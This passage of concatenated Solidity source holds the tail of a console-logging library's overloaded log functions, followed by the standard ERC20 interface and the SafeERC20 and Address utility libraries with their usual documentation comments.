function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3));
}
function log(address p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
| Deposit timestamps array
